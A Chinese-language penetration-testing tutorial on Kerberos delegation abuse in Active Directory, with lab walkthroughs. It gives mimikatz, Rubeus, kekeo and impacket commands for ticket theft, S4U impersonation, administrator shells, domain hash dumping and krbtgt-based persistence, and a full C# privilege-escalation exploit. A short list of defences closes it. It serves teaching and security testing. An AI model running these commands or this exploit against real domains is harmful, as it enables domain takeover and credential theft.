委派
委派概述：
域委派是指将域内用户的权限委派给服务账号，使得服务账号能以用户的权限在域内展开活动。
简言之：当A访问服务B时，服务B拿着A用户的凭证去访问服务C，这个过程称为委派。
委派的方式：
非约束委派和约束委派，基于资源的约束委派。
在域内只有主机账号和服务账号才有委派属性
主机账号：活动目录中的computers组内的计算机，也被称为机器账号。
服务账号：域内用户的一种类型，是服务器运行服务时所用的账号，将服务运行起来加入域内，比如：SQLServer,MYSQL等；域用户通过注册SPN也能成为服务账号。
委派的前提：
被委派的用户不能被设置为不能被委派属性。
查找非约束委派的主机或服务账号（域控默认配置非约束委派属性）：
1.利用powersploit中的powerview
Import-Module .\PowerView.ps1;
查询非约束委派的主机
Get-NetComputer -Unconstrained -Domain hiro.com
查询非约束委派的服务账号
Get-NetUser -Unconstrained -Domain hiro.com | select name
2.利用ADFind
查找域中配置非约束委派的用户
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找域中配置非约束委派的主机
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找约束委派的主机或服务账号：
1.利用empire中的powerview
Import-Module .\powerview.ps1;
查询约束委派的主机：
Get-DomainComputer -TrustedToAuth -Domain hiro.com | select name
查询约束委派的账号：
Get-DomainUser -TrustedToAuth -Domain hiro.com | select name
2.利用ADFind
查找域中配置约束委派用户:
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查找域中配置约束委派的主机：
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
非约束委派
大致流程：
user访问serverA，于是向DC发起认证，DC会检查serverA的机器账号的属性，如果是非约束委派的话，会把用户的TGT放在ST票据中并一起发送给serverA
这样serverA在验证ST票据的同时也获取到了用户的TGT，并把TGT储存在自己的lsass进程中以备下次重用，从而serverA就可以使用这个TGT，来模拟这个user访问任何服务。
从攻击角度来说：如果攻击者拿到了一台配置了非约束委派的机器权限，可以诱导管理员来访问该机器，然后可以得到管理员的TGT，从而模拟管理员访问任意服务，相当于拿下了整个域环境。
利用：
域：hiro.com
域控：WIN-KONG IP：192.168.228.10 域管：administrator
受委派机器：WIN-E6FR4HVBPCI
现在将WIN-E6FR4HVBPCI这个机器账号设置为非约束委派。
通过命令行打开adsiedit.msc查看WIN-E6FR4HVBPCI机器属性，可以看到：
当被设置为非约束委派的时候，它的userAccountControl会包含TRUSTED_FOR_DELEGATION字段。
用域管访问WIN-E6FR4HVBPCI机器
然后在WIN-E6FR4HVBPCI上以管理员权限运行mimikatz
privilege::debug
导出票据
sekurlsa::tickets /export
此时拿到了管理员的票据，用mimikatz将票据注入内存中，然后访问域控
导入票据
kerberos::ptt [0;11eeaa]-2-0-60810000-Administrator@krbtgt-HIRO.COM.kirbi
查看票据
kerberos::list
非约束委派+spooler打印机
费约束委派常规利用感觉还是比较鸡肋，想得到域内权限必须要管理员与配置了委派的机器建立连接，所以有国外的大佬研究出了非约束委派+spooler打印机来强制与指定的主机进行连接。
开始域控为server2012，后面网上有的大佬说可能是版本的问题，后面升级到了server2016还是报错，这种情况复现不了了，有兴趣的可以自己试一试。也可以参考这篇文章。
约束委派
由于非约束委派的不安全性，微软在windows server 2003中引入了约束委派，对Kerberos协议进行了拓展，引入了S4U，其中S4U支持两个子协议：Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy)，这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的可转发的Kerberos服务票据(ST1)；S4U2proxy可以以用户的名义请求其它服务的ST2，约束委派就是限制了S4U2proxy扩展的范围。
其中：
S4U2Self（用用户的TGT向KDC请求用户的可转发的ST1，再用这张ST1去发起S4U2proxy请求。）
通过此扩展可以拿到一张标识任意用户身份的ST，它的作用其实是协议转换。有时用户会通过其他协议（例如NTLM或什至基于表单的身份验证）对服务进行身份验证，因此他们不会将TGS发送给服务。在这种情况下，服务可以调用S4U2Self来要求身份验证服务为其自身的任意用户生成TGS，然后可以在调用S4U2Proxy时将其用作依据。例如网站A服务器可以使用它去向KDC请求一张用户B身份的ST1，网站A服务器再用这张ST1去发起S4U2proxy请求。
S4U2proxy（拿用户的可转发的ST1请求用于访问服务器的ST2）
该拓展作用是使用一张用户A身份的ST1去向KDC请求一张用于访问文件服务器B的ST2，这张ST2的身份还是用户的，这样的话网站A就可以利用用户A的权限去访问文件服务器B上的文件了。
大致流程：
user访问serviceA，向DC发起kerberos认证，域控返回user的TGT和ST1票据，user使用ST1票据对serviceA进行访问
如果配置了serviceA到serviceB的约束委派，则serviceA能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC。
域控返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能以用户的身份对serviceB发起访问。
由于服务用户只能获取某个用户（或主机）的服务的ST1而非TGT，所以只能模拟用户访问特定的服务，但是如果能拿到约束委派用户（或主机）的密码或者Hash，就可以伪造S4U的请求，伪装成服务用户以任意用户的权限申请访问指定服务的ST2。
利用：
域：hiro.com
域控:WIN-KONG@192.168.228.10 域管：administrator
受委派机器：WIN-RRI9T9SN85D@192.168.228.15 域用户：win7
首先在域控上将域用户win7注册成为SPN服务账号
setspn -S cifs/WIN-RRI9T9SN85D.hiro.com win7
查看是否注册成功
setspn -L win7
然后将win7用户设置约束委派的属性，为访问域控的cifs（访问文件夹）
通过命令行打开adsiedit.msc查看win7用户属性，可以看到：
当被设置为约束委派的时候，它的userAccountControl会包含TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION字段。
并且比非约束委派的账户多了msDS-AllowedToDelegateTo字段，里面包含了允许委派的服务
当知道win7这个服务用户的明文密码或者Hash时，可以用kekeo请求它的TGT
拥有明文密码
tgt::ask /user:win7 /domain:hiro.com /password:123456QWE.
拥有账户的Hash
tgt::ask /user:win7 /domain:hiro.com /NTLM:xxxx
PS:如果既不知道明文也不知道Hash，如果有了服务用户登录的主机权限，可以用mimikatz从内存中把服务用户的TGT dump下来照样可以实现
从内存中导出所有票据
sekurlsa::tickets /export
然后通过win7的TGT伪造s4u请求以administrator身份请求访问WIN-KONG cifs的ST
tgs::s4u /tgt:TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi /user:Administrator@hiro.com /service:cifs/WIN-KONG.hiro.com
用mimikatz将票据导入内存中
kerberos::ptt TGS_Administrator@hiro.com@HIRO.COM_cifs~WIN-KONG.hiro.com@HIRO.COM.kirbi
访问域控：
约束委派请求过程：
tgt::ask /user:win7 /domain:hiro.com /password:123456QWE.
AS-REQ
以用户win7请求TGT
AS-REP
AS返回用户win7的TGT，也就是得到了TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi
tgs::s4u /tgt:TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi /user:Administrator@hiro.com /service:cifs/WIN-KONG.hiro.com
TGS-REQ
win7用户用上一步得到的TGT，用上S4U2Self协议，以administrator的名义向TGS申请一张访问自身服务并且可转发的ST1票据。
TGS-REP
TGS返回administrator的ST1票据给win7
TGS-REQ
win7用户拿到了administrator的ST1票据后，win7带上这张可转发的访问自身服务的票据
，用上S4U2Proxy协议，以administrator用户的名义请求一张访问WIN-KONG的CIFS服务的ST2票据
TGS-REP
TGS返回以administrator用户访问WIN-KONG的CIFS服务的票据，也就是得到了TGS_Administrator@hiro.com@HIRO.COM_cifs~WIN-KONG.hiro.com@HIRO.COM.kirbi
通过流程可以看出，第一步生成的可转发的ST1只是为了请求第二步以administrator用的名义请求一张访问WIN-KONG的CIFS服务的ST2票据。
利用约束委派权限维持
通过约束委派生成黄金票据
TGT由krbtgt Hash加密，如果能通过委派krbtgt服务，那么就能伪造任意用户的TGT了。
由于krbtgt默认是禁用的，所以无法使用页面添加它的SPN。
域控通过powershell添加win7到krbtgt的约束委派：
powershell -exec bypass
Import-Module ActiveDirectory
$user = Get-ADUser win7 （win7为设置为约束委派的服务账号）
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/hiro.com") }
利用impacket套件攻击
伪造administrator的TGT
python3 getST.py -dc-ip 192.168.228.10 -spn krbtgt/hiro.com -impersonate administrator hiro.com/win7:123456QWE.
导入票据
export KRB5CCNAME=administrator.ccache
用wmiexec弹出一个权限为administrator交互式的shell
python3 wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 192.168.228.10
导出域内哈希
python3 secretsdump.py -no-pass -k WIN-KONG.hiro.com
基于资源的约束委派
传统的委派，在设置的过程中其实都是需要SeEnableDelegation特权，而这个特权需要域管理员才能设置。相对于传统的委派，基于资源的约束委派它不需要域管理员设置，而是机器本身。
约束委派和基于资源的约束委派的区别：
前者：通过服务A委派到服务B，实际是在服务A上增加TRUSTED_FOR_DELEGATION字段（非约束委派），TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION和msDS-AllowedToDelegateTo （约束委派）字段来达到委派的目的。
后者：通过服务B允许服务A委派到服务B，实际是通过服务B自身赋予msDS-AllowedToActOnBehalfOfOtherIdentity字段，从而允许服务A对服务B的基于资源的约束委派。
所以当利用到基于资源的约束委派的时候，服务A的两个字段是没有赋值的，当这两个字段没有被赋值的时候，通过S4U2Self得到的ST服务票证是不可被转发的，而S4U2Proxy的作用就是将可转发的ST票据转发到其他服务进行委派认证。但是：在基于资源的约束委派过程中，不可转发的ST仍可以通过S4U2Proxy转发到其他服务进行委派认证，并且最后还会返回一张可转发的ST服务票证。
因此，如果能够在服务B上配置允许服务A的基于资源的约束委派，那么就可以通过控制服务A使用S4U2Self向域控请求任意用户访问自身的服务票据，最后再使用S4U2Proxy转发此ST1票据去请求访问服务B的可转发的ST2服务票据，就可以模拟任意用户访问服务B了。这里可以以普通域用户的身份去创建机器账号作为服务A。
条件
利用基于资源的约束委派(RBCD)需要2个条件：
1.拥有将域机器加入域的域用户的权限。（将机器B加入域的域用户拥有修改机器B的msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限。）
2.一个任意服务账户或者一个机器账户（每一个域用户默认可以添加10个机器账户，可以通过LDAP中的MAQ属性查看）
利用：
域：hiro.com
域控：WIN-KONG@192.168.228.10 域管：administrator
域内机器：DESKTOP-P34E60A，win10把这台机器加入到域内
通过ADFind查找将域机器拉入域的用户的SID：
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
查看S-1-5-21-3105699010-1460039537-418241315-1118是谁：
AdFind.exe -b "DC=hiro,DC=com" -f "(&(objectsid=S-1-5-21-3105699010-1460039537-418241315-1118))" objectclass cn dn
假如现在已经拿到了把DESKTOP-P34E60A这台机器加入域的用户win10的权限
使用whoami /all查询当前用户的sid
同样可以通过用户的sid查看哪些域机器是通过自己加入到域内的：
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3105699010-1460039537-418241315-1118))" cn sAMAccountType objectCategory
如果一个机器账号没有mS-DS-CreatorSID，那么他是被域管拉入到域内的
利用powermad添加机器账户：(https://github.com/Kevin-Robertson/Powermad)
Import-Module .\Powermad.ps1
以win10用户创建一个域机器名为win10system，密码为win10
New-MachineAccount -MachineAccount win10system -Password $(ConvertTo-SecureString "win10" -AsPlainText -Force)
验证是否创建成功：
net group "domain computers" /do
查询添加机器的SID：
1.域控上查询：
dsquery computer | dsget computer -dn -sid
或者powershell运行Get-ADComputer win10system
2.域机器上查询：（使用empire下的powerview）
Import-Module .\powerview.ps1
Get-DomainComputer -Identity win10system
win10用户设置win10system到DESKTOP-P34E60A的基于资源的约束委派（使用empire下的powerview）
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3105699010-1460039537-418241315-1151)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DESKTOP-P34E60A| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
检查是否配置成功
Get-DomainComputer DESKTOP-P34E60A -Properties msds-allowedtoactonbehalfofotheridentity
攻击完成清除基于资源的约束委派配置：
Set-DomainObject DESKTOP-P34E60A -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
也可以在域控上通过命令行打开adsiedit.msc查看CN=DESKTOP-P34E60A机器属性，可以看到：
当被设置为基于资源的约束委派的时候，它的msds-allowedtoactonbehalfofotheridentity会包含有效字段。
现在已经配置好利用条件就可以通过基于资源的约束委派进行攻击了
1.使用rubues获取票据
Rubeus.exe hash /user:win10system /password:win10 /domain:hiro.com
Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/DESKTOP-P34E60A /ptt
2.使用impacket套件获取
python3 getST.py -dc-ip 192.168.228.10 -spn cifs/DESKTOP-P34E60A -impersonate administrator hiro.com/win10system$:win10
set KRB5CCNAME=administrator.ccache
python3 wmiexec.py -no-pass -k administrator@DESKTOP-P34E60A.hiro.com -dc-ip 192.168.228.10
利用基于资源的约束委派进行权限维持
跟约束委派利用相似，可以配置win10system到krbtgt的基于资源的约束委派，只要有了win10system的权限，就能伪造任意用户请求krbtgt服务，则可以请求到任意用户的TGT
在域控上执行：
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3105699010-1460039537-418241315-1151)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
可以看到brbtgt的msds-allowedtoactonbehalfofotheridentity会包含有效字段。
1.使用rubeus伪造administrator请求TGT
Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:krbtgt /ptt
klist查看缓存票证
访问域控
2.同样的也能用impacket套件
python3 getST.py -dc-ip 192.168.228.10 -spn krbtgt -impersonate administrator hiro.com/win10system$:win10
set KRB5CCNAME=administrator.ccache
python3 wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 192.168.228.10
基于资源的约束委派(烂番茄)
基于资源的约束委派通过修改自身msDS-AllowedToActOnBehalfOfOtherIdentity字段达到委派的目的，默认把这台域机器拉入域的域用户有这个权限，还有谁有？
因为evil这台机器通过07用户拉入域内，通过AdFind遍历evil的ACL，通过write筛选对其具有写权限的用户。
AdFind -b "CN=evil,CN=Computers,DC=redteam,DC=lab" -s base nTSecurityDescriptor -sddl++ -resolvesids | findstr "write”
可以看到不只是07这个用户，SYSTEM权限的用户也对这个对象具有写的权限。
攻击面：通过iis等以服务权限起的域用户拿到当前域机器最高权限。
(https://docs.microsoft.com/en-us/iis/manage/configuring-security/application-pool-identities)官方文档中明确表示iis等服务用户以机器账号(SYSTEM)请求网络资源。官方文档中明确表示iis等服务用户以机器账号(SYSTEM)请求网络资源。)
这样会导致一个非常严重的问题：不止于iis，所有低权限服务(例如network service这类型的本机服务)都是以机器账户身份去请求的域内资源。利用这一特性可以直接使其连接到域控的ldap设置基于当前机器的基于资源的约束委派，造成当前域机器沦陷。
演示
前面已知：
- 域内用户默认可以创建十台域机器。
- 低权限服务(例如network service这类型的本机服务)都是以机器账户身份请求域内资源。
- 机器账号对其本身有WriteProperty权限。
当前环境：
- 在域内域机器web2008上存在iis服务，攻击者拿到webshell后发现当前权限为iis，但是此用户依然是域用户，可以创建机器账号；
- iis以机器账户请求域内资源，对其机器本身有WriteProperty权限，可以设置自身的msDS-AllowedToActOnBehalfOfOtherIdentity字段来设置基于资源的约束委派。
所以可以利用web2008创建域机器（此处为evilpc），并通过writelproperty设置evilpc到其的基于资源的约束委派。
通过查看LDAP确定是否设置成功
python3 getST.py -dc-ip 192.168.129.130 redteam/evilpc\$:123456 -spn cifs/web2008.redteam.lab -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k redteam/administrator@web2008.redteam.lab
EXP
ATEAM的demo：https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/
using System;
using System.Text;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Net;
namespace Addnew_MachineAccount
{
class Program
{
static void Main(string[] args)
{
String DomainController = "192.168.129.130";
String Domain = "redteam.lab";
//String username = args[0]; //域用户名
//String password = args[1]; //域用户密码
String new_MachineAccount = "evilpc"; //添加的机器账户
String new_MachineAccount_password = "123456"; //机器账户密码
String victimcomputer = "web2008"; //需要进行提权的机器
String victimcomputer_ldap_path = "LDAP://CN=web2008,CN=Computers,DC=redteam,DC=lab";
String machine_account = new_MachineAccount;
String sam_account = machine_account + "$";
//machine_account="evilpc";
//sam_account="evilpc$";
String distinguished_name = "";
String[] DC_array = null;
distinguished_name = "CN=" + machine_account + ",CN=Computers";
//distinguished_name=CN=evilpc,CN=computers;
DC_array = Domain.Split('.');
foreach (String DC in DC_array)
{ //DC=redteam
//DC=lab
distinguished_name += ",DC=" + DC;
//distinguished_name=CN=evilpc,CN=computers,DC=redtram,DC=lab
}
Console.WriteLine("[+] Elevate permissions on " + victimcomputer); //[+] Elevate permissions on web2008
Console.WriteLine("[+] Domain = " + Domain); //[+] Domain = redteam.lab
Console.WriteLine("[+] Domain Controller = " + DomainController); //[+] Domain Controller = 192.168.129.130
[//Console.WriteLine](//Console.WriteLine)("[+] New SAMAccountName = " + sam_account);
[//Console.WriteLine](//Console.WriteLine)("[+] Distinguished Name = " + distinguished_name);
//连接ldap
System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
//NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
System.DirectoryServices.Protocols.LdapConnection connection = null;
//connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
//域控不允许在未加密的链接中创建计算机用户"。那么上面给的代码为什么是去连接域控389端口(ldap)而不是去连接636端口(ldaps)创建呢？答案是:ldaps需要配置证书才能使用，在默认环境下就不能正常工作，而ldap只要将Sealing属性设置为ture则可以用sasl加密连接。
connection.SessionOptions.Sealing = true;
connection.SessionOptions.Signing = true;
connection.Bind();
var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account +"."+ Domain),
new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/"+machine_account+"."+Domain,"RestrictedKrbHost/"+machine_account+"."+Domain,"HOST/"+machine_account,"RestrictedKrbHost/"+machine_account)
});
try
{
//添加机器账户
connection.SendRequest(request);
Console.WriteLine("[+] Machine account: " + machine_account + " Password: " + new_MachineAccount_password + " added");
}
catch (System.Exception ex)
{
Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
Console.WriteLine("[-] Exception: " + ex.Message);
return;
}
// 获取新计算机对象的SID
var new_request = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
SecurityIdentifier sid = null;
foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
{
try
{
sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value);
}
catch
{
Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
return;
}
}
//设置资源约束委派
System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry("redteam.lab");
myldapConnection.Path = victimcomputer_ldap_path;
myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
//通过ldap找计算机
search.Filter = "(CN=" + victimcomputer + ")";
string[] requiredProperties = new string[] { "samaccountname" };
foreach (String property in requiredProperties)
search.PropertiesToLoad.Add(property);
System.DirectoryServices.SearchResult result = null;
try
{
result = search.FindOne();
}
catch (System.Exception ex)
{
Console.WriteLine(ex.Message + "Exiting...");
return;
}
if (result != null)
{
System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();
String sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
byte[] descriptor_buffer = new byte[sd.BinaryLength];
sd.GetBinaryForm(descriptor_buffer, 0);
// 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Value = descriptor_buffer;
try
{
entryToUpdate.CommitChanges();//提交更改
Console.WriteLine("[+] Exploit successfully!");
}
catch (System.Exception ex)
{
Console.WriteLine(ex.Message);
Console.WriteLine("[!] \nFailed...");
return;
}
}
}
}
}
防御：
1.高权限账号设置禁止委派属性
2.微软推出了protected users组，组内用户不允许被委派，适用于Windows Server 2016，Windows Server 2012 R2、 Windows Server 2012
Protected Users 组中的帐户只能使用 Kerberos 协议进行身份验证，拒绝 NTLM、Digest 和 CredSSP。
Kerberos 拒绝使用 DES 和 RC4 加密类型进行预身份验证 ，域必须配置为支持 AES 或更高版本。
受保护用户的帐户不能通过 Kerberos 约束或无约束委派进行委派。
3.kerberos预认证不使用DES或RC4等加密算法（尽量使用AES256）同样能够预防Kerberoast攻击
参考
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/
